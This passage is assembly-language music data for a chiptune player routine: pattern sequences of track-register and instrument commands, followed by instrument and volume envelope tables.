kp_settrackregister $01,$62 kp_setinstrument $01,$0B kp_settrackregister $01,$60 kp_settrackregister $00,$07 kp_rewind [pat17loop-pat17] pat18 pat18loop kp_settrackregister $01,$08 kp_setinstrument $04,$06 kp_setinstrument $04,$05 kp_setinstrument $04,$06 kp_settrackregister $01,$28 kp_setinstrument $04,$05 kp_setinstrument $04,$0C kp_setinstrument $04,$05 kp_setinstrument $04,$06 kp_setinstrument $02,$06 kp_setinstrument $02,$06 kp_rewind [pat18loop-pat18] pat19 pat19loop kp_settrackregister $01,$54 kp_setinstrument $0C,$09 kp_setinstrument $04,$0B kp_settrackregister $01,$66 kp_setinstrument $01,$0B kp_settrackregister $01,$68 kp_settrackregister $00,$03 kp_setinstrument $04,$0B kp_settrackregister $01,$62 kp_setinstrument $01,$0B kp_settrackregister $01,$60 kp_settrackregister $00,$03 kp_settrackregister $01,$68 kp_setinstrument $03,$0D kp_settrackregister $01,$7E kp_settrackregister $00,$01 kp_rewind [pat19loop-pat19] pat20 pat20loop kp_settrackregister $01,$83 kp_setinstrument $01,$0D kp_settrackregister $01,$84 kp_settrackregister $00,$0B kp_settrackregister $01,$7C kp_setinstrument $04,$0D kp_setinstrument $06,$0D kp_setinstrument $06,$0D kp_settrackregister $01,$74 kp_setinstrument $03,$0D kp_settrackregister $01,$7A kp_settrackregister $00,$01 kp_rewind [pat20loop-pat20] pat21 pat21loop kp_settrackregister $01,$08 kp_setinstrument $08,$05 kp_setinstrument $04,$05 kp_settrackregister $01,$0C kp_setinstrument $04,$07 kp_setinstrument $04,$06 kp_setinstrument $08,$05 kp_settrackregister $01,$14 kp_setinstrument $04,$06 kp_rewind [pat21loop-pat21] pat22 pat22loop kp_settrackregister $01,$7C kp_setinstrument $14,$0D kp_settrackregister $01,$84 kp_settrackregister $00,$08 kp_settrackregister $01,$68 kp_setinstrument $03,$0D kp_settrackregister $01,$7E kp_settrackregister $00,$01 kp_rewind [pat22loop-pat22] pat23 pat23loop kp_settrackregister $01,$14 kp_setinstrument $08,$05 kp_setinstrument $04,$05 kp_settrackregister $01,$1C kp_setinstrument $04,$07 kp_setinstrument $04,$06 kp_setinstrument $08,$05 kp_setinstrument $04,$0C kp_rewind [pat23loop-pat23] pat24 pat24loop kp_settrackregister $01,$08 kp_setinstrument $04,$05 kp_settrackregister $01,$68 kp_setinstrument $04,$08 kp_settrackregister $01,$08 kp_setinstrument $04,$07 kp_settrackregister $01,$0C kp_setinstrument $04,$05 kp_setinstrument $04,$06 kp_setinstrument $04,$07 kp_settrackregister $01,$68 kp_setinstrument $04,$03 kp_settrackregister $01,$14 kp_setinstrument $04,$06 kp_rewind [pat24loop-pat24] pat25 pat25loop kp_settrackregister $01,$14 kp_setinstrument $04,$0C kp_setinstrument $04,$05 kp_settrackregister $01,$70 kp_setinstrument $04,$03 kp_settrackregister $01,$1C kp_setinstrument $04,$05 kp_setinstrument $04,$06 kp_setinstrument $04,$07 kp_settrackregister $01,$7C kp_setinstrument $04,$08 kp_setinstrument $04,$0C kp_rewind [pat25loop-pat25] pat26 pat26loop kp_settrackregister $01,$83 kp_setinstrument $01,$0D kp_settrackregister $01,$84 kp_settrackregister $00,$03 kp_settrackregister $01,$88 kp_settrackregister $00,$01 kp_settrackregister $01,$8A kp_settrackregister $00,$01 kp_settrackregister $01,$8C kp_settrackregister $00,$01 kp_settrackregister $01,$8E kp_settrackregister $00,$01 kp_settrackregister $01,$90 kp_settrackregister $00,$04 kp_setinstrument $08,$0D kp_settrackregister $01,$74 kp_setinstrument $08,$0D kp_setinstrument $03,$0D kp_settrackregister $01,$7A kp_settrackregister $00,$01 kp_rewind [pat26loop-pat26] pat27 pat27loop kp_settrackregister $01,$00 kp_setinstrument $02,$0E kp_settrackregister $01,$FE kp_settrackregister $00,$01 kp_settrackregister $01,$FC kp_settrackregister $00,$01 kp_settrackregister $01,$FA kp_settrackregister $00,$01 kp_settrackregister $01,$F8 kp_settrackregister $00,$01 kp_settrackregister $01,$F6 kp_settrackregister $00,$01 kp_settrackregister $01,$F4 kp_settrackregister $00,$01 kp_settrackregister $01,$84 kp_setinstrument $04,$0D kp_settrackregister $01,$88 kp_setinstrument $04,$0D kp_settrackregister $01,$90 kp_setinstrument $04,$0D kp_settrackregister $01,$98 kp_setinstrument $04,$0D kp_settrackregister $01,$90 kp_setinstrument $04,$0D kp_settrackregister $01,$88 kp_setinstrument $04,$0D kp_rewind [pat27loop-pat27] pat28 pat28loop kp_settrackregister $01,$00 kp_setinstrument $02,$0E kp_settrackregister $01,$FE kp_settrackregister $00,$01 kp_settrackregister $01,$FC kp_settrackregister $00,$01 kp_settrackregister $01,$FA kp_settrackregister $00,$01 kp_settrackregister $01,$F8 kp_settrackregister $00,$01 kp_settrackregister $01,$F6 kp_settrackregister $00,$01 kp_settrackregister $01,$F4 kp_settrackregister $00,$01 kp_settrackregister $01,$F2 kp_settrackregister $00,$01 kp_settrackregister $01,$F0 kp_settrackregister $00,$01 kp_settrackregister $01,$EE kp_settrackregister $00,$01 kp_settrackregister $01,$EC kp_settrackregister $00,$01 kp_settrackregister $01,$00 kp_setinstrument $04,$0E kp_settrackregister $01,$FD kp_settrackregister $00,$01 kp_settrackregister $01,$FA kp_settrackregister $00,$01 kp_settrackregister $01,$F7 kp_settrackregister $00,$01 kp_settrackregister $01,$F4 kp_settrackregister $00,$01 kp_settrackregister $01,$F1 kp_settrackregister $00,$01 kp_settrackregister $01,$EE kp_settrackregister $00,$01 kp_settrackregister $01,$EB kp_settrackregister $00,$01 kp_settrackregister $01,$E8 kp_settrackregister $00,$01 kp_settrackregister $01,$E5 kp_settrackregister $00,$01 kp_settrackregister $01,$E2 kp_settrackregister $00,$01 kp_settrackregister $01,$DF kp_settrackregister $00,$01 kp_settrackregister $01,$DC kp_settrackregister $00,$01 kp_settrackregister $01,$D9 kp_settrackregister $00,$01 kp_settrackregister $01,$D6 kp_settrackregister $00,$01 kp_settrackregister $01,$D3 kp_settrackregister $00,$01 kp_settrackregister $01,$D0 kp_settrackregister $00,$01 kp_rewind [pat28loop-pat28] pat29 pat29loop kp_settrackregister $01,$00 kp_setinstrument $02,$0F kp_settrackregister $01,$FE kp_settrackregister $00,$01 kp_settrackregister $01,$FC kp_settrackregister $00,$01 kp_settrackregister $01,$FA kp_settrackregister $00,$01 kp_settrackregister $01,$F8 kp_settrackregister $00,$01 kp_settrackregister $01,$F6 kp_settrackregister $00,$01 kp_settrackregister $01,$F4 kp_settrackregister $00,$01 kp_settrackregister $01,$F2 kp_settrackregister $00,$01 kp_settrackregister $01,$F0 kp_settrackregister $00,$01 kp_settrackregister $01,$EE kp_settrackregister $00,$01 kp_settrackregister $01,$EC kp_settrackregister $00,$01 kp_settrackregister $01,$00 kp_setinstrument $04,$0F kp_settrackregister $01,$FD kp_settrackregister $00,$01 kp_settrackregister $01,$FA kp_settrackregister $00,$01 kp_settrackregister $01,$F7 kp_settrackregister $00,$01 kp_settrackregister $01,$F4 kp_settrackregister $00,$01 kp_settrackregister $01,$F1 kp_settrackregister $00,$01 kp_settrackregister $01,$EE kp_settrackregister $00,$01 kp_settrackregister $01,$EB kp_settrackregister $00,$01 kp_settrackregister $01,$E8 kp_settrackregister $00,$01 kp_settrackregister $01,$E5 kp_settrackregister $00,$01 kp_settrackregister $01,$E2 kp_settrackregister $00,$01 kp_settrackregister $01,$DF kp_settrackregister $00,$01 kp_settrackregister $01,$DC kp_settrackregister $00,$01 kp_settrackregister $01,$D9 kp_settrackregister $00,$01 kp_settrackregister $01,$D6 kp_settrackregister $00,$01 kp_settrackregister $01,$D3 kp_settrackregister $00,$01 kp_settrackregister $01,$D0 kp_settrackregister $00,$01 kp_rewind [pat29loop-pat29] pat30 pat30loop kp_settrackregister $01,$14 kp_setinstrument $04,$0C kp_setinstrument $04,$05 kp_settrackregister $01,$70 kp_setinstrument $04,$03 kp_settrackregister $01,$24 kp_setinstrument $04,$05 kp_setinstrument $04,$06 kp_setinstrument $04,$07 kp_settrackregister $01,$7C kp_setinstrument $04,$08 kp_setinstrument $02,$0C kp_setinstrument $02,$0C kp_rewind [pat30loop-pat30] pat31 pat31loop kp_settrackregister $01,$00 kp_setinstrument $02,$0F kp_settrackregister $01,$FE kp_settrackregister $00,$01 kp_settrackregister $01,$FC kp_settrackregister $00,$01 kp_settrackregister $01,$FA kp_settrackregister $00,$01 kp_settrackregister $01,$F8 kp_settrackregister $00,$01 kp_settrackregister $01,$F6 kp_settrackregister $00,$01 kp_settrackregister $01,$F4 kp_settrackregister $00,$01 kp_settrackregister $01,$F2 kp_settrackregister $00,$01 kp_settrackregister $01,$F0 kp_settrackregister $00,$01 kp_settrackregister $01,$EE kp_settrackregister $00,$01 kp_settrackregister $01,$EC kp_settrackregister $00,$01 kp_settrackregister $01,$00 kp_setinstrument $04,$0E kp_settrackregister $01,$FC kp_settrackregister $00,$01 kp_settrackregister $01,$F8 kp_settrackregister $00,$01 kp_settrackregister $01,$F4 kp_settrackregister $00,$01 kp_settrackregister $01,$F0 kp_settrackregister $00,$01 kp_settrackregister $01,$EC kp_settrackregister $00,$01 kp_settrackregister $01,$E8 kp_settrackregister $00,$01 kp_settrackregister $01,$E4 kp_settrackregister $00,$01 kp_settrackregister $01,$E0 kp_settrackregister $00,$01 kp_settrackregister $01,$C0 kp_settrackregister $03,$09 kp_setinstrument $01,$10 kp_settrackregister $01,$D0 kp_setinstrument $01,$11 kp_settrackregister $01,$B8 kp_settrackregister $03,$0C kp_setinstrument $01,$10 kp_settrackregister $01,$C8 kp_setinstrument $01,$11 kp_settrackregister $01,$B4 kp_settrackregister $03,$0F kp_setinstrument $01,$10 kp_settrackregister $01,$C0 kp_setinstrument $01,$11 kp_settrackregister $01,$AC kp_setinstrument $01,$10 kp_settrackregister $01,$B8 kp_setinstrument $01,$11 kp_rewind [pat31loop-pat31] pat32 pat32loop kp_settrackregister $01,$B4 kp_setinstrument $01,$10 kp_settrackregister $01,$98 kp_setinstrument $01,$11 kp_settrackregister $01,$A4 kp_setinstrument $01,$10 kp_settrackregister $01,$B4 kp_setinstrument $01,$11 kp_settrackregister $01,$98 kp_setinstrument $01,$10 kp_settrackregister $01,$A4 kp_setinstrument $01,$11 kp_setinstrument $01,$10 kp_settrackregister $01,$98 kp_setinstrument $01,$11 kp_settrackregister $01,$84 kp_setinstrument $01,$10 kp_settrackregister $01,$A4 kp_setinstrument $01,$11 kp_settrackregister $01,$98 kp_setinstrument $01,$10 kp_settrackregister $01,$84 kp_setinstrument $01,$11 kp_settrackregister $01,$74 kp_setinstrument $01,$10 kp_settrackregister $01,$98 kp_setinstrument $01,$11 kp_settrackregister $01,$84 kp_setinstrument $01,$10 kp_settrackregister $01,$74 kp_setinstrument $01,$11 kp_settrackregister $01,$68 kp_setinstrument $01,$10 kp_settrackregister $01,$84 kp_setinstrument $01,$11 kp_settrackregister $01,$7C kp_setinstrument $01,$10 kp_settrackregister $01,$68 kp_setinstrument $01,$11 kp_settrackregister $01,$88 kp_setinstrument $01,$10 kp_settrackregister $01,$7C kp_setinstrument $01,$11 kp_setinstrument $01,$10 kp_settrackregister $01,$88 kp_setinstrument $01,$11 kp_settrackregister $01,$98 kp_setinstrument $01,$10 kp_settrackregister $01,$7C kp_setinstrument $01,$11 kp_settrackregister $01,$A4 kp_setinstrument $01,$10 kp_settrackregister $01,$98 kp_setinstrument $01,$11 kp_settrackregister $01,$B8 kp_setinstrument $01,$10 kp_settrackregister $01,$A4 kp_setinstrument $01,$11 kp_settrackregister $01,$C8 kp_setinstrument $01,$10 kp_settrackregister $01,$B8 kp_setinstrument $01,$11 kp_rewind [pat32loop-pat32] pat33 pat33loop kp_settrackregister $01,$08 kp_setinstrument $04,$05 kp_settrackregister $01,$68 kp_setinstrument $04,$02 kp_settrackregister $01,$08 kp_setinstrument $04,$07 kp_setinstrument $04,$06 kp_settrackregister $01,$14 kp_setinstrument $04,$05 kp_settrackregister $01,$68 kp_setinstrument $04,$03 kp_settrackregister $01,$14 kp_setinstrument $04,$07 kp_setinstrument $04,$06 kp_rewind [pat33loop-pat33] pat34 pat34loop kp_settrackregister $01,$C0 kp_setinstrument $01,$10 kp_settrackregister $01,$C8 kp_setinstrument $01,$11 kp_settrackregister $01,$B4 kp_setinstrument $01,$10 kp_settrackregister $01,$C0 kp_setinstrument $01,$11 kp_settrackregister $01,$A4 kp_setinstrument $01,$10 kp_settrackregister $01,$B4 kp_setinstrument $01,$11 kp_setinstrument $01,$10 kp_settrackregister $01,$A4 kp_setinstrument $01,$11 kp_settrackregister $01,$90 kp_setinstrument $01,$10 kp_settrackregister $01,$B4 kp_setinstrument $01,$11 kp_settrackregister $01,$A4 kp_setinstrument $01,$10 kp_settrackregister $01,$90 kp_setinstrument $01,$11 kp_settrackregister $01,$84 kp_setinstrument $01,$10 kp_settrackregister $01,$A4 kp_setinstrument $01,$11 kp_settrackregister $01,$90 kp_setinstrument $01,$10 kp_settrackregister $01,$84 kp_setinstrument $01,$11 kp_settrackregister $01,$C8 kp_setinstrument $01,$10 kp_settrackregister $01,$90 kp_setinstrument $01,$11 kp_settrackregister $01,$B8 kp_setinstrument $01,$10 kp_settrackregister $01,$C8 kp_setinstrument $01,$11 kp_settrackregister $01,$A4 kp_setinstrument $01,$10 kp_settrackregister $01,$B8 kp_setinstrument $01,$11 kp_setinstrument $01,$10 kp_settrackregister $01,$C8 kp_setinstrument $01,$11 kp_settrackregister $01,$98 kp_setinstrument $01,$10 kp_settrackregister $01,$B8 kp_setinstrument $01,$11 kp_settrackregister $01,$A4 kp_setinstrument $01,$10 kp_settrackregister $01,$98 kp_setinstrument $01,$11 kp_settrackregister $01,$88 kp_setinstrument $01,$10 kp_settrackregister $01,$A4 kp_setinstrument $01,$11 kp_settrackregister $01,$98 kp_setinstrument $01,$10 kp_settrackregister $01,$88 kp_setinstrument $01,$11 kp_rewind [pat34loop-pat34] pat35 pat35loop kp_settrackregister $01,$24 kp_setinstrument $04,$05 kp_settrackregister $01,$60 kp_setinstrument $04,$04 kp_settrackregister $01,$24 kp_setinstrument $04,$07 kp_setinstrument $04,$06 kp_settrackregister $01,$28 kp_setinstrument $04,$05 kp_settrackregister $01,$68 kp_setinstrument $04,$03 kp_settrackregister $01,$28 kp_setinstrument $04,$07 kp_setinstrument $04,$0C kp_rewind [pat35loop-pat35] pat36 pat36loop kp_settrackregister $01,$D0 kp_setinstrument $01,$10 kp_settrackregister $01,$98 kp_setinstrument $01,$11 kp_settrackregister $01,$C8 kp_setinstrument $01,$10 kp_settrackregister $01,$D0 kp_setinstrument $01,$11 kp_settrackregister $01,$B4 kp_setinstrument $01,$10 kp_settrackregister $01,$C8 kp_setinstrument $01,$11 kp_setinstrument $01,$10 kp_settrackregister $01,$B4 kp_setinstrument $01,$11 kp_settrackregister $01,$A4 kp_setinstrument $01,$10 kp_settrackregister $01,$C8 kp_setinstrument $01,$11 kp_settrackregister $01,$B4 kp_setinstrument $01,$10 kp_settrackregister $01,$A4 kp_setinstrument $01,$11 kp_settrackregister $01,$98 kp_setinstrument $01,$10 kp_settrackregister $01,$B4 kp_setinstrument $01,$11 kp_settrackregister $01,$A4 kp_setinstrument $01,$10 kp_settrackregister $01,$98 kp_setinstrument $01,$11 kp_setinstrument $01,$10 kp_settrackregister $01,$A4 kp_setinstrument $01,$11 kp_settrackregister $01,$AC kp_setinstrument $01,$10 kp_settrackregister $01,$98 kp_setinstrument $01,$11 kp_settrackregister $01,$B8 kp_setinstrument $01,$10 kp_settrackregister $01,$AC kp_setinstrument $01,$11 kp_setinstrument $01,$10 kp_settrackregister $01,$B8 kp_setinstrument $01,$11 kp_settrackregister $01,$C8 kp_setinstrument $01,$10 kp_settrackregister $01,$AC kp_setinstrument $01,$11 kp_settrackregister $01,$B8 kp_setinstrument $01,$10 kp_settrackregister $01,$C8 kp_setinstrument $01,$11 kp_settrackregister $01,$D4 kp_setinstrument $01,$10 kp_settrackregister $01,$B8 kp_setinstrument $01,$11 kp_settrackregister $01,$C8 kp_setinstrument $01,$10 kp_settrackregister $01,$D4 kp_setinstrument $01,$11 kp_rewind [pat36loop-pat36] pat37 pat37loop kp_settrackregister $01,$DC kp_setinstrument $01,$10 kp_settrackregister $01,$98 kp_setinstrument $01,$11 kp_settrackregister $01,$D0 kp_setinstrument $01,$10 kp_settrackregister $01,$DC kp_setinstrument $01,$11 kp_settrackregister $01,$C8 kp_setinstrument $01,$10 kp_settrackregister $01,$D0 kp_setinstrument $01,$11 kp_setinstrument $01,$10 kp_settrackregister $01,$C8 kp_setinstrument $01,$11 kp_settrackregister $01,$B4 kp_setinstrument $01,$10 kp_settrackregister $01,$D0 kp_setinstrument $01,$11 kp_settrackregister $01,$C8 kp_setinstrument $01,$10 kp_settrackregister $01,$B4 kp_setinstrument $01,$11 kp_settrackregister $01,$A4 kp_setinstrument $01,$10 kp_settrackregister $01,$C8 kp_setinstrument $01,$11 kp_settrackregister $01,$B4 kp_setinstrument $01,$10 kp_settrackregister $01,$A4 kp_setinstrument $01,$11 kp_settrackregister $01,$98 kp_setinstrument $01,$10 kp_settrackregister $01,$B4 kp_setinstrument $01,$11 kp_settrackregister $01,$A4 kp_setinstrument $01,$10 kp_settrackregister $01,$98 kp_setinstrument $01,$11 kp_settrackregister $01,$B8 kp_setinstrument $01,$10 kp_settrackregister $01,$A4 kp_setinstrument $01,$11 kp_setinstrument $01,$10 kp_settrackregister $01,$B8 kp_setinstrument $01,$11 kp_settrackregister $01,$C8 kp_setinstrument $01,$10 kp_settrackregister $01,$A4 kp_setinstrument $01,$11 kp_settrackregister $01,$B8 kp_setinstrument $01,$10 kp_settrackregister $01,$C8 kp_setinstrument $01,$11 kp_settrackregister $01,$D0 kp_setinstrument $01,$10 kp_settrackregister $01,$B8 kp_setinstrument $01,$11 kp_settrackregister $01,$C8 kp_setinstrument $01,$10 kp_settrackregister $01,$D0 kp_setinstrument $01,$11 kp_rewind [pat37loop-pat37] pat38 pat38loop kp_settrackregister $01,$24 kp_setinstrument $04,$05 kp_setinstrument $04,$06 kp_setinstrument $08,$0D kp_settrackregister $01,$28 kp_setinstrument $10,$0D kp_rewind [pat38loop-pat38] pat39 pat39loop kp_settrackregister $01,$88 kp_settrackregister $03,$0D kp_setinstrument $01,$10 kp_settrackregister $01,$A4 kp_setinstrument $01,$11 kp_settrackregister $01,$98 kp_setinstrument $01,$10 kp_settrackregister $01,$88 kp_setinstrument $01,$11 kp_settrackregister $03,$0B kp_setinstrument $01,$10 kp_settrackregister $01,$A4 kp_setinstrument $01,$11 kp_settrackregister $01,$98 kp_setinstrument $01,$10 kp_settrackregister $01,$88 kp_setinstrument $01,$11 kp_settrackregister $03,$09 kp_setinstrument $01,$10 kp_settrackregister $01,$A4 kp_setinstrument $01,$11 kp_settrackregister $01,$98 kp_setinstrument $01,$10 kp_settrackregister $01,$88 kp_setinstrument $01,$11 kp_settrackregister $03,$08 kp_setinstrument $01,$10 kp_settrackregister $01,$A4 kp_setinstrument $01,$11 kp_settrackregister $01,$98 kp_setinstrument $01,$10 kp_settrackregister $01,$88 kp_setinstrument $01,$11 kp_settrackregister $01,$40 kp_settrackregister $03,$09 kp_setinstrument $02,$09 kp_settrackregister $03,$0A kp_settrackregister $00,$02 kp_settrackregister $03,$0B kp_settrackregister $00,$02 kp_settrackregister $03,$0C kp_settrackregister $00,$02 kp_settrackregister $03,$0D kp_setinstrument $02,$03 kp_settrackregister $03,$0E kp_settrackregister $00,$02 kp_settrackregister $03,$0F kp_settrackregister $00,$04 kp_rewind [pat39loop-pat39] kp_insmap_lo dc.b #<insnil dc.b #<ins1 dc.b #<ins2 dc.b #<ins3 dc.b #<ins4 dc.b #<ins5 dc.b #<ins6 dc.b #<ins7 dc.b #<ins8 dc.b #<ins9 dc.b #<ins10 dc.b #<ins11 dc.b #<ins12 dc.b #<ins13 dc.b #<ins14 dc.b #<ins15 dc.b #<ins16 dc.b #<ins17 kp_insmap_hi dc.b #>insnil dc.b #>ins1 dc.b #>ins2 dc.b #>ins3 dc.b #>ins4 dc.b #>ins5 dc.b #>ins6 dc.b #>ins7 dc.b #>ins8 dc.b #>ins9 dc.b #>ins10 dc.b #>ins11 dc.b #>ins12 dc.b #>ins13 dc.b #>ins14 dc.b #>ins15 dc.b #>ins16 dc.b #>ins17 kp_volmap_lo dc.b #<volnil dc.b #<vol1 dc.b #<vol2 dc.b #<vol3 dc.b #<vol4 dc.b #<vol5 dc.b #<vol6 dc.b #<vol7 dc.b #<vol8 dc.b #<vol9 dc.b #<vol10 dc.b #<vol11 dc.b #<vol12 dc.b #<vol13 dc.b #<vol14 dc.b #<vol15 dc.b #<vol16 dc.b #<vol17 kp_volmap_hi dc.b #>volnil dc.b #>vol1 dc.b #>vol2 dc.b #>vol3 dc.b #>vol4 dc.b #>vol5 dc.b #>vol6 dc.b #>vol7 dc.b #>vol8 dc.b #>vol9 dc.b #>vol10 dc.b #>vol11 dc.b #>vol12 dc.b #>vol13 dc.b #>vol14 dc.b #>vol15 dc.b #>vol16 dc.b #>vol17 insnil KP_OSCV 0,0,0,0,15 KP_OSCJ 0 volnil KP_VOLV 0,15 KP_VOLJ 0 ins1 KP_OSCV $A2,1,0,0,$00 KP_OSCV $EE,1,0,0,$00 KP_OSCV $02,0,1,1,$00 KP_OSCV $00,0,1,1,$00 KP_OSCV $FE,0,1,1,$00 KP_OSCV $00,0,1,1,$00 KP_OSCV $01,0,1,1,$00 KP_OSCV $02,0,1,1,$00 KP_OSCV $00,0,1,1,$02 ins1loop KP_OSCV $00,0,1,1,$00 KP_OSCV $01,0,1,1,$00 KP_OSCV $02,0,1,1,$00 KP_OSCV $01,0,1,1,$00 KP_OSCV $00,0,1,1,$03 KP_OSCJ [ins1loop-ins1] vol1 KP_VOLV $0C,$00 KP_VOLV $09,$00 KP_VOLV $0C,$01 KP_VOLV $0B,$01 KP_VOLV $0A,$02 KP_VOLV $09,$07 KP_VOLV $09,$03 vol1loop KP_VOLV $08,$00 KP_VOLJ [vol1loop-vol1] ins2 ins2loop KP_OSCV $1C,0,1,1,$01 KP_OSCV $00,0,1,1,$01 KP_OSCV $30,0,1,1,$01 KP_OSCV $0C,0,1,1,$01 KP_OSCV $3C,0,1,1,$00 KP_OSCV $4C,0,1,1,$00 KP_OSCJ [ins2loop-ins2] vol2 KP_VOLV $09,$00 KP_VOLV $0A,$00 KP_VOLV $0C,$03 KP_VOLV $0B,$01 KP_VOLV $0A,$01 KP_VOLV $09,$00 KP_VOLV $08,$00 vol2loop KP_VOLV $07,$00 KP_VOLJ [vol2loop-vol2] ins3 ins3loop KP_OSCV $20,0,1,1,$01 KP_OSCV $00,0,1,1,$01 KP_OSCV $30,0,1,1,$01 KP_OSCV $0C,0,1,1,$01 KP_OSCV $3C,0,1,1,$00 KP_OSCV $50,0,1,1,$00 KP_OSCJ [ins3loop-ins3] vol3 KP_VOLV $09,$00 KP_VOLV $0A,$00 KP_VOLV $0C,$03 KP_VOLV $0B,$01 KP_VOLV $0A,$01 KP_VOLV $09,$00 KP_VOLV $08,$00 vol3loop KP_VOLV $07,$00 KP_VOLJ [vol3loop-vol3] ins4 ins4loop KP_OSCV $24,0,1,1,$01 KP_OSCV $00,0,1,1,$01 KP_OSCV $30,0,1,1,$01 KP_OSCV $14,0,1,1,$01 KP_OSCV $44,0,1,1,$00 KP_OSCV $54,0,1,1,$00 KP_OSCJ [ins4loop-ins4] vol4 KP_VOLV $09,$00 KP_VOLV $0A,$00 KP_VOLV $0C,$03 KP_VOLV $0B,$01 KP_VOLV $0A,$01 KP_VOLV $09,$00 KP_VOLV $08,$00 vol4loop KP_VOLV $07,$00 KP_VOLJ [vol4loop-vol4] ins5 KP_OSCV $38,0,1,0,$00 KP_OSCV $34,0,1,0,$00 KP_OSCV $02,0,1,1,$00 KP_OSCV $00,0,1,1,$00 KP_OSCV $FE,0,1,1,$00 KP_OSCV $00,0,1,1,$00 KP_OSCV $01,0,1,1,$00 KP_OSCV $02,0,1,1,$00 KP_OSCV $00,0,1,1,$00 KP_OSCV $FF,0,1,1,$00 KP_OSCV $FE,0,1,1,$00 ins5loop KP_OSCV $00,0,1,1,$00 KP_OSCV $01,0,1,1,$00 KP_OSCV $02,0,1,1,$00 KP_OSCV $01,0,1,1,$00 KP_OSCV $00,0,1,1,$00 KP_OSCV $FF,0,1,1,$00 KP_OSCV $FE,0,1,1,$00 KP_OSCV $FF,0,1,1,$00 KP_OSCJ [ins5loop-ins5] vol5 KP_VOLV $0C,$00 KP_VOLV $09,$00 KP_VOLV $0C,$01 KP_VOLV $0B,$01 KP_VOLV $0A,$02 KP_VOLV $09,$07 KP_VOLV $09,$03 vol5loop KP_VOLV $08,$00 KP_VOLJ [vol5loop-vol5] ins6 ins6loop KP_OSCV $EE,1,0,0,$00 KP_OSCV $10,1,0,0,$00 KP_OSCV $52,0,1,0,$00 KP_OSCV $4E,0,1,0,$00 KP_OSCJ [ins6loop-ins6] vol6 KP_VOLV $09,$00 KP_VOLV $0B,$00 KP_VOLV $0C,$01 KP_VOLV $0B,$01 KP_VOLV $0A,$01 KP_VOLV $09,$00 KP_VOLV $08,$00 KP_VOLV $06,$00 KP_VOLV $04,$00 vol6loop KP_VOLV $02,$00 KP_VOLJ [vol6loop-vol6] ins7 KP_OSCV $A2,1,0,0,$00 KP_OSCV $EE,1,0,0,$00 KP_OSCV $02,0,1,1,$00 KP_OSCV $00,0,1,1,$00 KP_OSCV $FE,0,1,1,$00 KP_OSCV $00,0,1,1,$00 KP_OSCV $01,0,1,1,$00 KP_OSCV $02,0,1,1,$00 KP_OSCV $00,0,1,1,$00 KP_OSCV $FF,0,1,1,$00 KP_OSCV $FE,0,1,1,$00 ins7loop KP_OSCV $00,0,1,1,$00 KP_OSCV $01,0,1,1,$00 KP_OSCV $02,0,1,1,$00 KP_OSCV $01,0,1,1,$00 KP_OSCV $00,0,1,1,$00 KP_OSCV $FF,0,1,1,$00 KP_OSCV $FE,0,1,1,$00 KP_OSCV $FF,0,1,1,$00 KP_OSCJ [ins7loop-ins7] vol7 KP_VOLV $0C,$00 KP_VOLV $09,$00 KP_VOLV $0C,$01 KP_VOLV $0B,$01 KP_VOLV $0A,$02 KP_VOLV $09,$07 KP_VOLV $09,$03 vol7loop KP_VOLV $08,$00 KP_VOLJ [vol7loop-vol7] ins8 ins8loop KP_OSCV $1C,0,1,1,$01 KP_OSCV $00,0,1,1,$01 KP_OSCV $30,0,1,1,$01 KP_OSCV $10,0,1,1,$01 KP_OSCV $40,0,1,1,$00 KP_OSCV $4C,0,1,1,$00 KP_OSCJ [ins8loop-ins8] vol8 KP_VOLV $09,$00 KP_VOLV $0A,$00 KP_VOLV $0C,$03 KP_VOLV $0B,$01 KP_VOLV $0A,$01 KP_VOLV $09,$00 KP_VOLV $08,$00 vol8loop KP_VOLV $07,$00 KP_VOLJ [vol8loop-vol8] ins9 ins9loop KP_OSCV $20,0,1,1,$01 KP_OSCV $00,0,1,1,$01 KP_OSCV $30,0,1,1,$01 KP_OSCV $14,0,1,1,$01 KP_OSCV $44,0,1,1,$00 KP_OSCV $50,0,1,1,$00 KP_OSCJ [ins9loop-ins9] vol9 KP_VOLV $09,$00 KP_VOLV $0A,$00 KP_VOLV $0C,$03 KP_VOLV $0B,$01 KP_VOLV $0A,$01 KP_VOLV $09,$00 KP_VOLV $08,$00 vol9loop KP_VOLV $07,$00 KP_VOLJ [vol9loop-vol9] ins10 KP_OSCV $38,0,1,0,$00 KP_OSCV $34,0,1,0,$00 KP_OSCV $02,0,1,1,$00 KP_OSCV $00,0,1,1,$02 KP_OSCV $01,0,1,1,$00 KP_OSCV $02,0,1,1,$00 KP_OSCV $00,0,1,1,$02 ins10loop KP_OSCV $00,0,1,1,$00 KP_OSCV $01,0,1,1,$00 KP_OSCV $02,0,1,1,$00 KP_OSCV $01,0,1,1,$00 KP_OSCV $00,0,1,1,$03 KP_OSCJ [ins10loop-ins10] vol10 KP_VOLV $0C,$00 KP_VOLV $09,$00 KP_VOLV $0C,$01 KP_VOLV $0B,$01 KP_VOLV $0A,$02 KP_VOLV $09,$07 KP_VOLV $09,$03 vol10loop KP_VOLV $08,$00 KP_VOLJ [vol10loop-vol10] ins11 ins11loop KP_OSCV $30,0,1,1,$01 KP_OSCV $00,0,1,1,$00 KP_OSCV $30,0,1,1,$01 KP_OSCV $00,0,1,1,$02 KP_OSCV $30,0,1,1,$00 KP_OSCV $00,0,1,1,$01 KP_OSCV $30,0,1,1,$00 KP_OSCJ [ins11loop-ins11] vol11 KP_VOLV $09,$00 KP_VOLV $0A,$00 KP_VOLV $0B,$00 KP_VOLV $0C,$07 KP_VOLV $0C,$00 KP_VOLV $0B,$05 KP_VOLV $0A,$05 KP_VOLV $09,$05 vol11loop KP_VOLV $08,$00 KP_VOLJ [vol11loop-vol11] ins12 KP_OSCV $08,0,1,0,$00 KP_OSCV $78,1,0,0,$00 ins12loop KP_OSCV $F2,1,0,0,$00 KP_OSCV $EE,1,0,0,$00 KP_OSCV $FA,1,0,0,$00 KP_OSCV $E8,1,0,0,$00 KP_OSCJ [ins12loop-ins12] vol12 KP_VOLV $0C,$01 KP_VOLV $0B,$00 KP_VOLV $0A,$01 KP_VOLV $09,$01 KP_VOLV $08,$01 KP_VOLV $07,$00 KP_VOLV $06,$00 KP_VOLV $04,$00 vol12loop KP_VOLV $02,$00 KP_VOLJ [vol12loop-vol12] ins13 KP_OSCV $01,0,1,1,$00 KP_OSCV $02,0,1,1,$01 KP_OSCV $01,0,1,1,$00 KP_OSCV $00,0,1,1,$01 KP_OSCV $FF,0,1,1,$00 KP_OSCV $FE,0,1,1,$01 KP_OSCV $FF,0,1,1,$00 KP_OSCV $00,0,1,1,$01 